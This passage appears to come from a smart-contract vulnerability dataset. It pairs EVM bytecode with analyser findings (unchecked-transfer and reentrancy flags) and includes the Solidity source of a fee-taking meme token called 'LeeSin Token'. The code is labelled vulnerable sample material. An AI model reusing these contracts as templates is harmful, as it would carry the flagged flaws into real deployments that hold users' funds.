80825580915050600190039060005260206000200160009091909190915055806003014290806001815401808255809150506001900390600052602060002001600090919091909150555050565b610749611257565b73ffffffffffffffffffffffffffffffffffffffff16610767610bc0565b73ffffffffffffffffffffffffffffffffffffffff16146107bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b49061185a565b60405180910390fd5b8060028190555050565b6107cf611257565b73ffffffffffffffffffffffffffffffffffffffff166107ed610bc0565b73ffffffffffffffffffffffffffffffffffffffff1614610843576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083a9061185a565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505061088157600080fd5b565b600a6020528060005260406000206000915090508060000154908060010154905082565b60025481565b6108b5611257565b73ffffffffffffffffffffffffffffffffffffffff166108d3610bc0565b73ffffffffffffffffffffffffffffffffffffffff1614610929576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109209061185a565b60405180910390fd5b80600c60006101000a81548160ff02191690831515021790555050565b60606000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806003018054806020026020016040519081016040528092919081815260200182805480156109d957602002820191906000526020600020905b8154815260200190600101908083116109c5575b5050505050915050919050565b6109ee611257565b73ffffffffffffffffffffffffffffffffffffffff16610a0c610bc0565b73ffffffffffffffffffffffffffffffffffffffff1614610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a599061185a565b60405180910390fd5b610a6c600061125f565b565b60055481565b610a7c611257565b73ffffffffffffffffffffffffffffffffffffffff16610a9a610bc0565b73ffffffffffffffffffffffffffffffffffffffff1614610af0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae79061185a565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610b3c611257565b73ffffffffffffffffffffffffffffffffffffffff16610b5a610bc0565b73ffffffffffffffffffffffffffffffffffffffff1614610bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba79061185a565b60405180910390fd5b8060018190555050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060010154915050919050565b610c42611257565b73ffffffffffffffffffffffffffffffffffffffff16610c60610bc0565b73ffffffffffffffffffffffffffffffffffffffff1614610cb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cad9061185a565b60405180910390fd5b8060038190555050565b60001515600c60009054906101000a900460ff16151514610d16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0d9061175a565b60405180910390fd5b600154421015610d5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d52906117da565b60405180910390fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600654610db883836000015461132390919063ffffffff16565b1015610df9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df09061173a565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401610e58939291906116b8565b602060405180830381600087803b158015610e7257600080fd5b505af1158015610e86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eaa9190611427565b610ee9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee0906117fa565b60405180910390fd5b600081600101541415610f4557600754341015610f3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f329061181a565b60405180910390fd5b4281600101819055505b610f5c82826000015461132390919063ffffffff16565b81600001819055508060020181600001549080600181540180825580915050600190039060005260206000200160009091909190915055806003014290806001815401808255809150506001900390600052602060002001600090919091909150555050565b60035481565b610fd0611257565b73ffffffffffffffffffffffffffffffffffffffff16610fee610bc0565b73ffffffffffffffffffffffffffffffffffffffff1614611044576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103b9061185a565b60405180910390fd5b8060078190555050565b60015481565b60606000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806002018054806020026020016040519081016040528092919081815260200182805480156110e757602002820191906000526020600020905b8154815260200190600101908083116110d3575b5050505050915050919050565b60065481565b60075481565b611108611257565b73ffffffffffffffffffffffffffffffffffffffff16611126610bc0565b73ffffffffffffffffffffffffffffffffffffffff161461117c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111739061185a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e39061179a565b60405180910390fd5b6111f58161125f565b50565b60008282111561123d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611234906117ba565b60405180910390fd5b6000828461124b919061197e565b90508091505092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008082846113329190611928565b905083811015611377576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136e9061187a565b60405180910390fd5b8091505092915050565b60008135905061139081611c12565b92915050565b6000813590506113a581611c29565b92915050565b6000815190506113ba81611c29565b92915050565b6000813590506113cf81611c40565b92915050565b6000602082840312156113e757600080fd5b60006113f584828501611381565b91505092915050565b60006020828403121561141057600080fd5b600061141e84828501611396565b91505092915050565b60006020828403121561143957600080fd5b6000611447848285016113ab565b91505092915050565b60006020828403121561146257600080fd5b6000611470848285016113c0565b91505092915050565b6000611485838361167f565b60208301905092915050565b61149a816119b2565b82525050565b60006114ab826118ee565b6114b58185611906565b93506114c0836118de565b8060005b838110156114f15781516114d88882611479565b97506114e3836118f9565b9250506001810190506114c4565b5085935050505092915050565b600061150b600383611917565b915061151682611a29565b602082019050919050565b600061152e600383611917565b915061153982611a52565b602082019050919050565b6000611551600383611917565b915061155c82611a7b565b602082019050919050565b6000611574602683611917565b915061157f82611aa4565b604082019050919050565b6000611597601783611917565b91506115a282611af3565b602082019050919050565b60006115ba600383611917565b91506115c582611b1c565b602082019050919050565b60006115dd600383611917565b91506115e882611b45565b602082019050919050565b6000611600600383611917565b915061160b82611b6e565b602082019050919050565b6000611623600383611917565b915061162e82611b97565b602082019050919050565b6000611646602083611917565b915061165182611bc0565b602082019050919050565b6000611669601683611917565b915061167482611be9565b602082019050919050565b611688816119f0565b82525050565b611697816119f0565b82525050565b60006020820190506116b26000830184611491565b92915050565b60006060820190506116cd6000830186611491565b6116da6020830185611491565b6116e7604083018461168e565b949350505050565b60006040820190506117046000830185611491565b611711602083018461168e565b9392505050565b6000602082019050818103600083015261173281846114a0565b905092915050565b60006020820190508181036000830152611753816114fe565b9050919050565b6000602082019050818103600083015261177381611521565b9050919050565b6000602082019050818103600083015261179381611544565b9050919050565b600060208201905081810360008301526117b381611567565b9050919050565b600060208201905081810360008301526117d38161158a565b9050919050565b600060208201905081810360008301526117f3816115ad565b9050919050565b60006020820190508181036000830152611813816115d0565b9050919050565b60006020820190508181036000830152611833816115f3565b9050919050565b6000602082019050818103600083015261185381611616565b9050919050565b6000602082019050818103600083015261187381611639565b9050919050565b600060208201905081810360008301526118938161165c565b9050919050565b60006020820190506118af600083018461168e565b92915050565b60006040820190506118ca600083018561168e565b6118d7602083018461168e565b9392505050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000611933826119f0565b915061193e836119f0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611973576119726119fa565b5b828201905092915050565b6000611989826119f0565b9150611994836119f0565b9250828210156119a7576119a66119fa565b5b828203905092915050565b60006119bd826119d0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4530310000000000000000000000000000000000000000000000000000000000600082015250565b7f4530390000000000000000000000000000000000000000000000000000000000600082015250565b7f4530360000000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d617468237375623a20554e444552464c4f57000000000000000000600082015250565b7f4530370000000000000000000000000000000000000000000000000000000000600082015250565b7f4530320000000000000000000000000000000000000000000000000000000000600082015250565b7f4530340000000000000000000000000000000000000000000000000000000000600082015250565b7f4530380000000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f536166654d617468236164643a204f564552464c4f5700000000000000000000600082015250565b611c1b816119b2565b8114611c2657600080fd5b50565b611c32816119c4565b8114611c3d57600080fd5b50565b611c49816119f0565b8114611c5457600080fd5b5056fea264697066735822122099b66e1264b448a5830ee7cebb09ba1fdfab3919afe15cedbace5e69ebd20d5964736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,115 |
0xec88e8dfbd0cfa60c6230e325fba94feca8df6da | /**
* TG : t.me/Leesintoken
*
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LeeSinToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
string private constant _name = "LeeSin Token";
string private constant _symbol = "LeeSin";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x19D4E6bB01302A0Ff3B6aC2A913fDACd75D13B66);
_feeAddrWallet2 = payable(0xdC78B93ed05D2C7b611D763344B081B554C23f44);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 3;
_feeAddr2 = 5;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount/10*7);
_feeAddrWallet2.transfer(amount/10*3);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000* 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102ff578063c3c8cd801461033c578063c9567bf914610353578063dd62ed3e1461036a576100fe565b806370a0823114610255578063715018a6146102925780638da5cb5b146102a957806395d89b41146102d4576100fe565b80632ab30838116100c65780632ab30838146101d3578063313ce567146101ea5780635932ead1146102155780636fc3eaec1461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612337565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611f40565b6103e4565b604051610162919061231c565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612459565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611eed565b610412565b6040516101ca919061231c565b60405180910390f35b3480156101df57600080fd5b506101e86104eb565b005b3480156101f657600080fd5b506101ff610591565b60405161020c91906124ce565b60405180910390f35b34801561022157600080fd5b5061023c60048036038101906102379190611f80565b61059a565b005b34801561024a57600080fd5b5061025361064c565b005b34801561026157600080fd5b5061027c60048036038101906102779190611e53565b6106be565b6040516102899190612459565b60405180910390f35b34801561029e57600080fd5b506102a761070f565b005b3480156102b557600080fd5b506102be610862565b6040516102cb919061224e565b60405180910390f35b3480156102e057600080fd5b506102e961088b565b6040516102f69190612337565b60405180910390f35b34801561030b57600080fd5b5061032660048036038101906103219190611f40565b6108c8565b604051610333919061231c565b60405180910390f35b34801561034857600080fd5b506103516108e6565b005b34801561035f57600080fd5b50610368610960565b005b34801561037657600080fd5b50610391600480360381019061038c9190611ead565b610ebb565b60405161039e9190612459565b60405180910390f35b60606040518060400160405280600c81526020017f4c656553696e20546f6b656e0000000000000000000000000000000000000000815250905090565b60006103f86103f1610f42565b8484610f4a565b6001905092915050565b600067016345785d8a0000905090565b600061041f848484611115565b6104e08461042b610f42565b6104db85604051806060016040528060288152602001612a0b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610491610f42565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c39092919063ffffffff16565b610f4a565b600190509392505050565b6104f3610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610580576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610577906123d9565b60405180910390fd5b67016345785d8a0000601181905550565b60006009905090565b6105a2610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610626906123d9565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661068d610f42565b73ffffffffffffffffffffffffffffffffffffffff16146106ad57600080fd5b60004790506106bb81611327565b50565b6000610708600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142c565b9050919050565b610717610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079b906123d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4c656553696e0000000000000000000000000000000000000000000000000000815250905090565b60006108dc6108d5610f42565b8484611115565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610927610f42565b73ffffffffffffffffffffffffffffffffffffffff161461094757600080fd5b6000610952306106be565b905061095d8161149a565b50565b610968610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec906123d9565b60405180910390fd5b601060149054906101000a900460ff1615610a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3c90612439565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ad430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610f4a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1a57600080fd5b505afa158015610b2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b529190611e80565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bb457600080fd5b505afa158015610bc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bec9190611e80565b6040518363ffffffff1660e01b8152600401610c09929190612269565b602060405180830381600087803b158015610c2357600080fd5b505af1158015610c37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5b9190611e80565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ce4306106be565b600080610cef610862565b426040518863ffffffff1660e01b8152600401610d11969594939291906122bb565b6060604051808303818588803b158015610d2a57600080fd5b505af1158015610d3e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d639190611fda565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff02191690831515021790555067016345785d8a00006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e65929190612292565b602060405180830381600087803b158015610e7f57600080fd5b505af1158015610e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb79190611fad565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb190612419565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102190612379565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111089190612459565b60405180910390a3505050565b60008111611158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114f906123f9565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111af57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146112b3576003600a819055506005600b8190555060006111fd306106be565b9050601060159054906101000a900460ff1615801561126a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112825750601060169054906101000a900460ff165b156112b1576112908161149a565b6000479050670429d069189e00008111156112af576112ae47611327565b5b505b505b6112be838383611722565b505050565b600083831115829061130b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113029190612337565b60405180910390fd5b506000838561131a919061261f565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6007600a846113729190612594565b61137c91906125c5565b9081150290604051600060405180830381858888f193505050501580156113a7573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003600a846113f39190612594565b6113fd91906125c5565b9081150290604051600060405180830381858888f19350505050158015611428573d6000803e3d6000fd5b5050565b6000600854821115611473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146a90612359565b60405180910390fd5b600061147d611732565b9050611492818461175d90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114d2576114d161277a565b5b6040519080825280602002602001820160405280156115005781602001602082028036833780820191505090505b50905030816000815181106115185761151761274b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115ba57600080fd5b505afa1580156115ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115f29190611e80565b816001815181106116065761160561274b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061166d30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f4a565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116d1959493929190612474565b600060405180830381600087803b1580156116eb57600080fd5b505af11580156116ff573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff